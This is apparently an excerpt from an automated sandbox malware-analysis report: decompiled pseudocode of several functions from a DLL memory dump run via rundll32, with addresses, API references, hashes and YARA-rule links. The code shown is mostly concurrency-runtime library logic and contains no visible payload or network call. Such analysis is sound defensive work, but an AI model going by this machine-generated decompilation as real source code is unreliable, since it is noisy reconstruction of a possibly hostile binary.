				_t352 = _v20;
				_t425 = _a8;
				_v4 = _v4 | 0xffffffff;
				_t463 =  *(_t425 + 8);
				if( *(_t425 + 8) != 0) {
					_t450 = _v32;
					E10010FBE(_t352, _t463, _v32);
					if(_v24 != 0) {
						_push(_v24);
						E1000DE32(_t352, _t450, _t425);
					}
				}
				 *((intOrPtr*)(_t352 + 0x34)) =  *_t425;
				if( *((intOrPtr*)(_t425 + 0x18)) == 0) {
					_t219 =  *((intOrPtr*)(_t352 + 0x78)) +  *((intOrPtr*)(_t352 + 0x70));
					__eflags = _t219;
					if(_t219 <= 0) {
						L12:
						__eflags = 1;
						goto L13;
					} else {
						__eflags =  *(_t425 + 8);
						_t225 = E10010E75(_t352, _t425, (_t219 & 0xffffff00 |  *(_t425 + 8) != 0x00000000) & 0x000000ff);
						__eflags = _t225;
						if(_t225 == 0) {
							goto L12;
						} else {
							_t357 =  &_v84;
							E1000DABB( &_v84);
							_push(0x1002c554);
							_t227 =  &_v84;
							goto L14;
						}
					}
				} else {
					E10024B40(_t425, _t420);
					_t345 =  *((intOrPtr*)(_t352 + 0x78)) +  *((intOrPtr*)(_t352 + 0x70));
					if( *((intOrPtr*)(_t352 + 0x78)) +  *((intOrPtr*)(_t352 + 0x70)) <= 0 || E10010E75(_t352, _t425, (_t345 & 0xffffff00 |  *(_t425 + 8) != 0x00000000) & 0x000000ff) == 0) {
						_push(2);
						_pop(1);
						L13:
						return E10028D61(1);
					} else {
						_t357 =  &_v72;
						E1000DABB( &_v72);
						_push(0x1002c554);
						_t227 =  &_v72;
						L14:
						_push(_t227);
						L10029E92();
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						E10028E03(E1002B5C2, _t352, _t357, _t425, 0x74);
						_t435 = _a8;
						_t426 = E10024D6B(_t352, _t435, _t420, _t425);
						_v24 = _t426;
						_t353 = E1001E5C9();
						_v17 = 0;
						_v36 = _t353;
						_v28 =  *(_t435 + 0x68);
						_t359 =  *((intOrPtr*)(_t353 + 0x34));
						 *_t426 = _t359;
						if(_t359 == 0) {
							_t360 = 0;
							__eflags = 0;
						} else {
							_t360 = ( *(_t359 + 4) << 4 >> 4) + 1;
						}
						_v32 = _v32 & 0x00000000;
						 *(_t426 + 4) =  *(_t426 + 4) ^ ( *(_t426 + 4) ^ _t360) & 0x0fffffff;
						 *((intOrPtr*)(_t353 + 0x34)) = _t426;
						_t361 =  *(_t435 + 8);
						if(_t361 != 0) {
							_t424 = _t361;
							if(_t361 != 2 && _t361 !=  *((intOrPtr*)(_t353 + 0x38))) {
								_t342 = E1000E0DE(_t353, _t361, E10025060, _t435, 1);
								_t424 =  *(_t435 + 8);
								_v32 = _t342;
							}
							E100111D4(_t353, _t424,  *(_t426 + 4) << 4 >> 4);
						}
						_v4 = _v4 & 0x00000000;
						_t46 = _t426 + 0x38; // 0x38
						_t421 = _t46;
						asm("lock cmpxchg [edx], ecx");
						if(0 == 3) {
							__eflags = _a12;
							if(_a12 != 0) {
								E10025452(_t353, _t426, _t426, _t435);
							}
							_t364 =  &_v52;
							E1000DABB(_t364);
							_push(0x1002c554);
							_t238 =  &_v52;
							goto L76;
						} else {
							if(_a12 == 0) {
								goto L30;
							} else {
								E10025452(_t353, _t426, _t426, _t435);
								if( *( *((intOrPtr*)(_t435 + 0x64)) + 0x34) != 0 ||  *((intOrPtr*)(_t353 + 0x78)) +  *((intOrPtr*)(_t353 + 0x70)) > 0 && E10010E75(_t353, _t426, 0) != 0) {
									_t364 =  &_v64;
									E1000DABB(_t364);
									_push(0x1002c554);
									_t238 =  &_v64;
									goto L76;
								} else {
									_t334 = _a12;
									 *0x10036224(_t334);
									 *((intOrPtr*)( *((intOrPtr*)(_t334 + 4))))();
									_t317 = _a12;
									L51:
									 *(_t317 + 8) =  *(_t317 + 8) & 0x00000000;
									E10025403(_t421, _t317);
									_a12 = _a12 & 0x00000000;
									_t435 = _a8;
									L30:
									while(1) {
										L30:
										while( *(_t426 + 0x84) > 0) {
											if( *( *((intOrPtr*)(_t435 + 0x64)) + 0x34) != 0 ||  *((intOrPtr*)(_t353 + 0x78)) +  *((intOrPtr*)(_t353 + 0x70)) > 0 && E10010E75(_t353, _t426, 0) != 0) {
												_t364 =  &_v76;
												E1000DABB(_t364);
												_push(0x1002c554);
												_t238 =  &_v76;
												L76:
												_push(_t238);
												L10029E92();
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												_t452 = _t458;
												_t459 = _t458 - 0xc;
												_push(_t435);
												_t436 = _v12;
												_push(_t426);
												_t427 = _t364;
												if( *((intOrPtr*)(_t436 + 8)) != 0) {
													_t365 =  &_v16;
													E100134B0(_t365);
													_push(0x1002d9a0);
													_push( &_v16);
													L10029E92();
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													_push(_t452);
													_t453 = _t459;
													_push(_t436);
													_t437 = _v44;
													_push(_t427);
													_t428 = _t365;
													__eflags =  *(_t437 + 8);
													if( *(_t437 + 8) != 0) {
														E100134B0( &_v20);
														_push(0x1002d9a0);
														_push( &_v20);
														L10029E92();
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														E10028E03(E1002B5E0, _t353,  &_v20, _t428, 0x14);
														_t438 = _v0;
														__eflags =  *(_t438 + 8);
														if( *(_t438 + 8) != 0) {
															E100134B0( &_v40);
															_push(0x1002d9a0);
															_push( &_v40);
															L10029E92();
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															E10028E03(E1002B5FB, 0,  &_v40, _t428, 0x14);
															_t439 = _v0;
															__eflags =  *(_t439 + 8);
															if( *(_t439 + 8) != 0) {
																_t368 =  &_v40;
																E100134B0(_t368);
																_push(0x1002d9a0);
																_push( &_v40);
																L10029E92();
																asm("int3");
																_push(_t453);
																_push(_t439);
																_push(_t428);
																_t422 =  *(_t368 + 0x34);
																__eflags = 0x3fffffff & _t422;
																if((0x3fffffff & _t422) != 0) {
																	L116:
																	_t251 = 0;
																	__eflags = 0;
																} else {
																	while(1) {
																		_t252 = _t422;
																		asm("lock cmpxchg [esi], ecx");
																		__eflags = _t252 - _t422;
																		if(_t252 == _t422) {
																			break;
																		}
																		_t422 = _t252;
																		__eflags = 0x3fffffff & _t252;
																		if((0x3fffffff & _t252) == 0) {
																			continue;
																		} else {
																			goto L116;
																		}
																		goto L117;
																	}
																	_t251 = 1;
																}
																L117:
																return _t251;
															} else {
																_v12 = 0;
																_t431 = E10024D6B(0,  &_v40, _t421, _t428);
																 *((intOrPtr*)(_t439 + 0xc)) = E1000E350;
																 *(_t439 + 8) = _t431;
																_t372 =  *(_t431 + 0x84);
																_v28 = _t372;
																 *(_t431 + 0x84) = _t372 + 1;
																__eflags = _t372 - 2;
																if(_t372 < 2) {
																	E10025452(0, _t431, _t431, _t439);
																	_t257 = E10011403(E1001E5C9(), _t421, _t439, _a4);
																	_t258 = _v28;
																	 *((intOrPtr*)(_t431 + 0x70 + _v28 * 4)) = _t257;
																} else {
																	_t442 =  *(_t431 + 0x6c);
																	__eflags = _t442;
																	if(_t442 == 0) {
																		_t443 = E10028CE8(0x10);
																		__eflags = _t443;
																		if(_t443 == 0) {
																			_t442 = 0;
																		} else {
																			 *_t443 = 0;
																			 *((intOrPtr*)(_t443 + 4)) = 0;
																			 *((intOrPtr*)(_t443 + 8)) = 0;
																			 *((char*)(_t443 + 0xc)) = 0;
																		}
																		 *(_t431 + 0x6c) = _t442;
																	}
																	E10025452(0, _t431, _t431, _t442);
																	_t258 = E10024AC1(_t442, E10011403(E1001E5C9(), _t421, _v0, _a4));
																	__eflags = _t258;
																	if(_t258 == 0) {
																		_t203 = _t431 + 0x84;
																		 *_t203 =  *(_t431 + 0x84) - 1;
																		__eflags =  *_t203;
																	}
																}
																return E10028D61(_t258);
															}
														} else {
															_v12 = 0;
															_t432 = E10024D6B(0,  &_v20, _t421, _t428);
															 *((intOrPtr*)(_t438 + 0xc)) = E1000E350;
															 *(_t438 + 8) = _t432;
															_t380 =  *(_t432 + 0x84);
															_v28 = _t380;
															 *(_t432 + 0x84) = _t380 + 1;
															__eflags = _t380 - 2;
															if(_t380 < 2) {
																E10025452(0, _t432, _t432, _t438);
																_t268 = E10011378(E1001E5C9(), _t438);
																_t269 = _v28;
																 *((intOrPtr*)(_t432 + 0x70 + _v28 * 4)) = _t268;
															} else {
																_t444 =  *(_t432 + 0x6c);
																__eflags = _t444;
																if(_t444 == 0) {
																	_t445 = E10028CE8(0x10);
																	__eflags = _t445;
																	if(_t445 == 0) {
																		_t444 = 0;
																	} else {
																		 *_t445 = 0;
																		 *((intOrPtr*)(_t445 + 4)) = 0;
																		 *((intOrPtr*)(_t445 + 8)) = 0;
																		 *((char*)(_t445 + 0xc)) = 0;
																	}
																	 *(_t432 + 0x6c) = _t444;
																}
																E10025452(0, _t432, _t432, _t444);
																_t269 = E10024AC1(_t444, E10011378(E1001E5C9(), _v0));
																__eflags = _t269;
																if(_t269 == 0) {
																	_t179 = _t432 + 0x84;
																	 *_t179 =  *(_t432 + 0x84) - 1;
																	__eflags =  *_t179;
																}
															}
															return E10028D61(_t269);
														}
													} else {
														 *(_t437 + 8) = _t428;
														 *((intOrPtr*)(_t437 + 0xc)) = E1000E1D0;
														 *((intOrPtr*)(_t428 + 0x10)) =  *((intOrPtr*)(_t428 + 0x10)) + 1;
														_t275 =  *(_t428 + 0xc);
														__eflags = _t275;
														if(_t275 == 0) {
															 *(_t428 + 0xc) = E1000FE15();
														}
														return E10011262(_t275, _t421, _t437, _a4);
													}
												} else {
													 *((intOrPtr*)(_t436 + 8)) = _t427;
													 *((intOrPtr*)(_t436 + 0xc)) = E1000E1D0;
													 *((intOrPtr*)(_t427 + 0x10)) =  *((intOrPtr*)(_t427 + 0x10)) + 1;
													_t277 =  *((intOrPtr*)(_t427 + 0xc));
													if( *((intOrPtr*)(_t427 + 0xc)) == 0) {
														 *((intOrPtr*)(_t427 + 0xc)) = E1000FE15();
													}
													return E100111E7(_t277, _t436);
												}
											} else {
												_t311 =  *(_t426 + 0x84);
												if(_t311 <= 2) {
													_t399 =  *((intOrPtr*)(_t426 + 0x6c + _t311 * 4));
												} else {
													_t320 =  *((intOrPtr*)(_t426 + 0x6c));
													 *(_t320 + 4) =  *(_t320 + 4) - 1;
													_t399 =  *((intOrPtr*)( *((intOrPtr*)(_t320 + 8)) +  *(_t320 + 4) * 4));
													_t311 =  *(_t426 + 0x84);
												}
												 *(_t426 + 0x84) = _t311 - 1;
												_t401 = E10011BC1(_t353, _t426, _t399);
												_v40 = _t401;
												_a12 = _t401;
												if(_t401 != 0) {
													__eflags = _t401 - 1;
													if(_t401 != 1) {
														__eflags =  *((char*)(_t353 + 0x4c));
														_t314 =  *((intOrPtr*)(_t353 + 0x9c));
														if( *((char*)(_t353 + 0x4c)) == 0) {
															_t92 = _t314 + 0x6c;
															 *_t92 =  *(_t314 + 0x6c) + 1;
															__eflags =  *_t92;
														} else {
															 *((intOrPtr*)(_t314 + 0xc)) =  *((intOrPtr*)(_t314 + 0xc)) + 1;
														}
														 *0x10036224(_t401);
														 *((intOrPtr*)( *((intOrPtr*)(_t401 + 4))))();
														_t317 = _v40;
														goto L51;
													}
													continue;
												} else {
													_t319 =  *((intOrPtr*)(_t426 + 0x6c));
													if(_t319 != 0) {
														 *(_t319 + 4) =  *(_t319 + 4) & _t401;
													}
													 *(_t426 + 0x84) =  *(_t426 + 0x84) & 0x00000000;
													break;
												}
											}
											goto L119;
										}
										_t280 =  *((intOrPtr*)(_t426 + 0x6c));
										if(_t280 == 0 ||  *((intOrPtr*)(_t280 + 0xc)) == 0) {
											L53:
											E1002510A(_t353, _t435, _t426, _v28);
											__eflags = _v17;
											if(_v17 != 0) {
												_t421 = 1;
												_t323 = 5;
												asm("lock cmpxchg [ecx], edx");
												__eflags = _t323 - 9;
												if(_t323 == 9) {
													_t106 =  &_v120;
													 *_t106 = _v120 & 0x00000000;
													__eflags =  *_t106;
													_v116 = E10028AE0;
													while(1) {
														__eflags =  *((intOrPtr*)(_t435 + 0x38)) - 9;
														if( *((intOrPtr*)(_t435 + 0x38)) != 9) {
															goto L58;
														}
														E1000A150( &_v128);
													}
												}
											}
											L58:
											__eflags = _v28 -  *(_t435 + 0x68);
											if(_v28 ==  *(_t435 + 0x68)) {
												_v4 = _v4 | 0xffffffff;
												__eflags =  *(_t435 + 8);
												if(__eflags != 0) {
													E10010FBE(_t353, __eflags,  *(_t435 + 8));
													_t303 = _v32;
													__eflags = _t303;
													if(_t303 != 0) {
														_push(_t303);
														E1000DE32(_t353,  *(_t435 + 8), _t426);
														E1000E18D(_v32);
													}
												}
												_t392 = _t426;
												 *((intOrPtr*)(_t353 + 0x34)) =  *_t426;
												__eflags =  *( *((intOrPtr*)(_t435 + 0x64)) + 0x34);
												if(__eflags == 0) {
													E100254EA(_t392, _v28);
													_t287 =  *((intOrPtr*)(_t353 + 0x78)) +  *((intOrPtr*)(_t353 + 0x70));
													__eflags = _t287;
													if(_t287 <= 0) {
														L71:
														__eflags = 1;
														goto L72;
													} else {
														__eflags =  *(_t435 + 8);
														_t293 = E10010E75(_t353, _t426, (_t287 & 0xffffff00 |  *(_t435 + 8) != 0x00000000) & 0x000000ff);
														__eflags = _t293;
														if(_t293 == 0) {
															goto L71;
														} else {
															_t364 =  &_v112;
															E1000DABB(_t364);
															_push(0x1002c554);
															_t238 =  &_v112;
															goto L76;
														}
													}
												} else {
													E10024BF4(_t392, _t421, __eflags, 0);
													_t297 =  *((intOrPtr*)(_t353 + 0x78)) +  *((intOrPtr*)(_t353 + 0x70));
													__eflags = _t297;
													if(_t297 <= 0) {
														L67:
														_push(2);
														_pop(1);
														L72:
														return E10028D61(1);
													} else {
														__eflags =  *(_t435 + 8);
														_t300 = E10010E75(_t353, _t426, (_t297 & 0xffffff00 |  *(_t435 + 8) != 0x00000000) & 0x000000ff);
														__eflags = _t300;
														if(_t300 == 0) {
															goto L67;
														} else {
															_t364 =  &_v100;
															E1000DABB(_t364);
															_push(0x1002c554);
															_t238 =  &_v100;
															goto L76;
														}
													}
												}
											} else {
												_v28 =  *(_t435 + 0x68);
												continue;
											}
										} else {
											_push(5);
											_v17 = 1;
											_t85 = _t426 + 0x38; // 0x38
											_t421 = _t85;
											asm("lock cmpxchg [edx], ecx");
											if(1 == 4 || 1 == 9) {
												_t364 =  &_v88;
												E1000DABB(_t364);
												_push(0x1002c554);
												_t238 =  &_v88;
												goto L76;
											} else {
												goto L53;
											}
										}
										goto L119;
									}
								}
							}
						}
					}
				}
				L119:
			}

0x100257a5
0x100257a5
0x100257a8
0x100257ab
0x100257af
0x100257b3
0x100257b5
0x100257bb
0x100257c4
0x100257c6
0x100257cb
0x100257cb
0x100257c4
0x100257d2
0x100257d9
0x1002583b
0x1002583e
0x10025840
0x1002586b
0x1002586d
0x00000000
0x10025842
0x10025842
0x10025850
0x10025855
0x10025857
0x00000000
0x10025859
0x10025859
0x1002585c
0x10025861
0x10025866
0x00000000
0x10025866
0x10025857
0x100257db
0x100257dd
0x100257e5
0x100257ea
0x10025833
0x10025835
0x1002586e
0x10025873
0x10025803
0x10025803
0x10025806
0x1002580b
0x10025810
0x10025886
0x10025886
0x10025887
0x1002588c
0x1002588d
0x1002588e
0x1002588f
0x10025897
0x1002589c
0x100258a6
0x100258a8
0x100258b0
0x100258b2
0x100258b9
0x100258bc
0x100258bf
0x100258c2
0x100258c6
0x100258d4
0x100258d4
0x100258c8
0x100258d1
0x100258d1
0x100258d9
0x100258e4
0x100258e7
0x100258ea
0x100258ef
0x100258f1
0x100258f6
0x10025905
0x1002590a
0x1002590d
0x1002590d
0x1002591d
0x1002591d
0x10025922
0x10025926
0x10025926
0x1002592e
0x10025935
0x10025c34
0x10025c38
0x10025c3c
0x10025c3c
0x10025c41
0x10025c44
0x10025c49
0x10025c4e
0x00000000
0x1002593b
0x1002593f
0x00000000
0x10025941
0x10025943
0x1002594f
0x10025982
0x10025985
0x1002598a
0x1002598f
0x00000000
0x10025969
0x10025969
0x10025972
0x10025978
0x1002597a
0x10025a8f
0x10025a8f
0x10025a97
0x10025a9c
0x10025aa0
0x00000000
0x10025997
0x00000000
0x10025997
0x100259a7
0x10025aa8
0x10025aab
0x10025ab0
0x10025ab5
0x10025c51
0x10025c51
0x10025c52
0x10025c57
0x10025c58
0x10025c59
0x10025c5a
0x10025c5b
0x10025c5c
0x10025c5d
0x10025c5e
0x10025c5f
0x10025c61
0x10025c63
0x10025c66
0x10025c67
0x10025c6a
0x10025c6b
0x10025c71
0x10025c9d
0x10025ca0
0x10025ca5
0x10025cad
0x10025cae
0x10025cb3
0x10025cb4
0x10025cb5
0x10025cb6
0x10025cb7
0x10025cb8
0x10025cb9
0x10025cba
0x10025cbb
0x10025cbc
0x10025cbd
0x10025cbe
0x10025cbf
0x10025cc0
0x10025cc1
0x10025cc6
0x10025cc7
0x10025cca
0x10025ccb
0x10025ccd
0x10025cd1
0x10025d03
0x10025d08
0x10025d10
0x10025d11
0x10025d16
0x10025d17
0x10025d18
0x10025d19
0x10025d1a
0x10025d1b
0x10025d1c
0x10025d1d
0x10025d1e
0x10025d1f
0x10025d27
0x10025d2c
0x10025d31
0x10025d34
0x10025df4
0x10025df9
0x10025e01
0x10025e02
0x10025e07
0x10025e08
0x10025e09
0x10025e0a
0x10025e0b
0x10025e0c
0x10025e0d
0x10025e0e
0x10025e0f
0x10025e17
0x10025e1c
0x10025e21
0x10025e24
0x10025ee7
0x10025eea
0x10025eef
0x10025ef7
0x10025ef8
0x10025efd
0x10025efe
0x10025f01
0x10025f02
0x10025f0b
0x10025f0d
0x10025f0f
0x10025f2c
0x10025f2c
0x10025f2c
0x10025f11
0x10025f11
0x10025f13
0x10025f1e
0x10025f22
0x10025f24
0x00000000
0x00000000
0x10025f26
0x10025f28
0x10025f2a
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x10025f2a
0x10025f34
0x10025f34
0x10025f2e
0x10025f31
0x10025e2a
0x10025e2a
0x10025e32
0x10025e34
0x10025e3b
0x10025e3e
0x10025e44
0x10025e4a
0x10025e50
0x10025e53
0x10025eb1
0x10025ec1
0x10025ec8
0x10025ecb
0x10025e55
0x10025e55
0x10025e58
0x10025e5a
0x10025e63
0x10025e66
0x10025e68
0x10025e77
0x10025e6a
0x10025e6a
0x10025e6c
0x10025e6f
0x10025e72
0x10025e72
0x10025e79
0x10025e79
0x10025e7e
0x10025e98
0x10025e9d
0x10025e9f
0x10025ea1
0x10025ea1
0x10025ea1
0x10025ea1
0x10025e9f
0x10025eac
0x10025eac
0x10025d3a
0x10025d3a
0x10025d42
0x10025d44
0x10025d4b
0x10025d4e
0x10025d54
0x10025d5a
0x10025d60
0x10025d63
0x10025dbe
0x10025dcb
0x10025dd2
0x10025dd5
0x10025d65
0x10025d65
0x10025d68
0x10025d6a
0x10025d73
0x10025d76
0x10025d78
0x10025d87
0x10025d7a
0x10025d7a
0x10025d7c
0x10025d7f
0x10025d82
0x10025d82
0x10025d89
0x10025d89
0x10025d8e
0x10025da5
0x10025daa
0x10025dac
0x10025dae
0x10025dae
0x10025dae
0x10025dae
0x10025dac
0x10025db9
0x10025db9
0x10025cd3
0x10025cd3
0x10025cd6
0x10025cdd
0x10025ce0
0x10025ce3
0x10025ce5
0x10025cec
0x10025cec
0x10025cfd
0x10025cfd
0x10025c73
0x10025c73
0x10025c76
0x10025c7d
0x10025c80
0x10025c85
0x10025c8c
0x10025c8c
0x10025c9a
0x10025c9a
0x100259c9
0x100259c9
0x100259d2
0x100259eb
0x100259d4
0x100259d4
0x100259d7
0x100259e0
0x100259e3
0x100259e3
0x100259f3
0x100259fe
0x10025a00
0x10025a03
0x10025a08
0x10025a61
0x10025a64
0x10025a6a
0x10025a6e
0x10025a74
0x10025a7b
0x10025a7b
0x10025a7b
0x10025a76
0x10025a76
0x10025a76
0x10025a84
0x10025a8a
0x10025a8c
0x00000000
0x10025a8c
0x00000000
0x10025a0a
0x10025a0a
0x10025a0f
0x10025a11
0x10025a11
0x10025a14
0x00000000
0x10025a14
0x10025a08
0x00000000
0x100259a7
0x10025a1b
0x10025a20
0x10025abd
0x10025ac2
0x10025ac7
0x10025acb
0x10025ad4
0x10025ad5
0x10025ad6
0x10025ada
0x10025add
0x10025adf
0x10025adf
0x10025adf
0x10025ae3
0x10025aea
0x10025aea
0x10025aee
0x00000000
0x00000000
0x10025af3
0x10025af3
0x10025aea
0x10025add
0x10025afa
0x10025afd
0x10025b00
0x10025b43
0x10025b47
0x10025b4b
0x10025b52
0x10025b57
0x10025b5a
0x10025b5c
0x10025b61
0x10025b62
0x10025b6a
0x10025b6a
0x10025b5c
0x10025b71
0x10025b73
0x10025b79
0x10025b7d
0x10025bf1
0x10025bf9
0x10025bfc
0x10025bfe
0x10025c29
0x10025c2b
0x00000000
0x10025c00
0x10025c00
0x10025c0e
0x10025c13
0x10025c15
0x00000000
0x10025c17
0x10025c17
0x10025c1a
0x10025c1f
0x10025c24
0x00000000
0x10025c24
0x10025c15
0x10025b7f
0x10025b81
0x10025b89
0x10025b8c
0x10025b8e
0x10025be9
0x10025be9
0x10025beb
0x10025c2c
0x10025c31
0x10025b90
0x10025b90
0x10025b9e
0x10025ba3
0x10025ba5
0x00000000
0x10025ba7
0x10025ba7
0x10025baa
0x10025baf
0x10025bb4
0x00000000
0x10025bb4
0x10025ba5
0x10025b8e
0x10025b02
0x10025b05
0x00000000
0x10025b05
0x10025a31
0x10025a31
0x10025a35
0x10025a3b
0x10025a3b
0x10025a3e
0x10025a45
0x10025a4c
0x10025a4f
0x10025a54
0x10025a59
0x00000000
0x00000000
0x00000000
0x00000000
0x10025a45
0x00000000
0x10025a20
0x10025997
0x1002594f
0x1002593f
0x10025935
0x100257ea
0x00000000

APIs

Concurrency::details::ContextBase::PopGoverningTokenState.LIBCONCRT ref: 100257BB

Part of subcall function 10010FBE: Concurrency::details::_TaskCollectionBase::_GetTokenState.LIBCONCRT ref: 10010FD9
Part of subcall function 10010FBE: Concurrency::details::_TaskCollectionBase::_GetTokenState.LIBCONCRT ref: 10010FFC

Concurrency::details::_CancellationTokenState::_DeregisterCallback.LIBCONCRT ref: 100257CB

Part of subcall function 1000DE32: __EH_prolog3.LIBCMT ref: 1000DE39
Part of subcall function 1000DE32: std::_Cnd_initX.LIBCPMT ref: 1000DE4C
Part of subcall function 1000DE32: Concurrency::details::_CancellationTokenState::TokenRegistrationContainer::remove.LIBCONCRT ref: 1000DE60
Part of subcall function 1000DE32: Concurrency::details::_RefCounter::_Release.LIBCONCRT ref: 1000DE6F
Part of subcall function 1000DE32: std::_Cnd_initX.LIBCPMT ref: 1000DE85
Part of subcall function 1000DE32: atomic_compare_exchange.LIBCONCRT ref: 1000DE9A
Part of subcall function 1000DE32: std::_Cnd_initX.LIBCPMT ref: 1000DECE
Part of subcall function 1000DE32: std::_Cnd_initX.LIBCPMT ref: 1000DEFB

Concurrency::details::_StructuredTaskCollection::_Abort.LIBCONCRT(?,?,?,?,?,?,?,?,00000048), ref: 100257DD
Concurrency::details::ContextBase::IsCancellationVisible.LIBCONCRT ref: 100257FA

Memory Dump Source

Source File: 00000003.00000002.392372880.0000000010001000.00000020.00000001.01000000.00000003.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.392367550.0000000010000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392434593.0000000010033000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392439449.0000000010034000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392446015.0000000010036000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: Concurrency::details::_Token$Cnd_initstd::_$CancellationStateTask$Base::Base::_CollectionConcurrency::details::Context$AbortCallbackCollection::_Container::removeCounter::_DeregisterGoverningH_prolog3RegistrationReleaseState::State::_StructuredVisibleatomic_compare_exchange
String ID:
API String ID: 3030611259-0
Opcode ID: 738af7c84acee8b715e73323f9b5548be91a80882de2e06e928157c51e64407d
Instruction ID: d7613d41ef57d9ff5d8b4242c64c4cc2796f1f493acba3d39a087482533ff510
Opcode Fuzzy Hash: 738af7c84acee8b715e73323f9b5548be91a80882de2e06e928157c51e64407d
Instruction Fuzzy Hash: 4001BC38A00109EBDF14CE90D4857BDB3B5EF40281F900028E9526B692CB74FEC6CB95

Uniqueness

Uniqueness Score: -1.00%

Function 1000DCD8 Relevance: 6.0, APIs: 4, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E1000DCD8(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, signed int _a16, intOrPtr _a20) {
				intOrPtr _t19;
				void* _t20;
				intOrPtr _t25;

				_t19 =  *((intOrPtr*)(0x10002b90 + (_a16 * 6 + _a20) * 4));
				_t25 = _t19;
				if(_t25 == 0) {
					_t20 = E1000DE0B(_a4, _a8, _a12);
					goto L10;
				} else {
					if(_t25 <= 0) {
						L8:
						return 0;
					} else {
						if(_t19 <= 2) {
							_t20 = E1000DE0B(_a4, _a8, _a12);
							goto L10;
						} else {
							if(_t19 == 3) {
								_t20 = E1000DE0B(_a4, _a8, _a12);
								goto L10;
							} else {
								if(_t19 + 0xfffffffc > 1) {
									goto L8;
								} else {
									_t20 = E1000DE0B(_a4, _a8, _a12);
									L10:
									return _t20;
								}
							}
						}
					}
				}
			}

0x1000dce2
0x1000dce9
0x1000dceb
0x1000dd3e
0x00000000
0x1000dced
0x1000dced
0x1000dd31
0x1000dd34
0x1000dcef
0x1000dcf2
0x1000dd2a
0x00000000
0x1000dcf4
0x1000dcf7
0x1000dd1a
0x00000000
0x1000dcf9
0x1000dcff
0x00000000
0x1000dd01
0x1000dd0a
0x1000dd43
0x1000dd47
0x1000dd47
0x1000dcff
0x1000dcf7
0x1000dcf2
0x1000dced

APIs

std::_Compare_exchange_acquire_4.LIBCONCRT ref: 1000DD0A
std::_Compare_exchange_acquire_4.LIBCONCRT ref: 1000DD1A
std::_Compare_exchange_acquire_4.LIBCONCRT ref: 1000DD2A
std::_Compare_exchange_acquire_4.LIBCONCRT ref: 1000DD3E

Memory Dump Source

Source File: 00000003.00000002.392372880.0000000010001000.00000020.00000001.01000000.00000003.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.392367550.0000000010000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392434593.0000000010033000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392439449.0000000010034000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392446015.0000000010036000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: Compare_exchange_acquire_4std::_
String ID:
API String ID: 3973403980-0
Opcode ID: a293a61a4fe10345e62a1528ea4bba22a3d3a94346a7f9a80d7a9c719b74cabc
Instruction ID: 25f56ef57f581b0e3ebbda81983d39f781df4c0f4741ed1c6fc27988e9addd4a
Opcode Fuzzy Hash: a293a61a4fe10345e62a1528ea4bba22a3d3a94346a7f9a80d7a9c719b74cabc
Instruction Fuzzy Hash: DC01B676400249ABEF52FF94DC4289D7BA6FB552D0B148413FD1889038D332D7B0EBA2

Uniqueness

Uniqueness Score: -1.00%

Function 1000773C Relevance: 6.0, APIs: 4, Instructions: 37
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E1000773C(void* __ebx, intOrPtr __ecx, void* __edx, void* __edi, void* __esi) {
				intOrPtr _t35;
				void* _t36;
				void* _t37;

				_t36 = __esi;
				E10028D98(E1002A2C4, __ebx, __ecx, __edi, 4);
				_t35 = __ecx;
				 *((intOrPtr*)(_t37 - 0x10)) = __ecx;
				 *(__ecx + 8) =  *(__ecx + 8) | 0xffffffff;
				 *((intOrPtr*)(__ecx)) = 0x10002248;
				 *((intOrPtr*)(__ecx + 4)) = 0;
				_t5 = __ecx + 0x10;
				 *(__ecx + 0x10) =  *(__ecx + 0x10) | 0xffffffff;
				 *((intOrPtr*)(__ecx + 0xc)) = 0x10002220;
				 *((intOrPtr*)(_t37 - 4)) = 0;
				 *((intOrPtr*)(__ecx + 0x14)) = 0;
				 *((intOrPtr*)(__ecx + 0x18)) = 0;
				 *((intOrPtr*)(__ecx + 0x1c)) = 0;
				 *((char*)(_t37 - 4)) = 1;
				E100074CE(0, __ecx + 0x20, __ecx,  *_t5);
				 *((char*)(_t37 - 4)) = 2;
				E10016E80(_t35 + 0xe8,  *_t5);
				 *((char*)(_t37 - 4)) = 3;
				asm("cdq");
				 *((intOrPtr*)(_t35 + 0x110)) = 0;
				asm("cdq");
				E10027390(_t35, _t36, 0, _t35, __edx, _t35 + 0x20, __edx);
				return E10028D61(_t35);
			}

0x1000773c
0x10007743
0x10007748
0x1000774a
0x1000774d
0x10007753
0x10007759
0x1000775c
0x1000775c
0x10007760
0x10007767
0x1000776a
0x1000776d
0x10007770
0x10007776
0x1000777a
0x10007785
0x10007789
0x10007791
0x10007795
0x1000779a
0x100077a0
0x100077a4
0x100077b3

APIs

__EH_prolog3.LIBCMT ref: 10007743
ordered_message_processor.LIBCONCRT ref: 1000777A

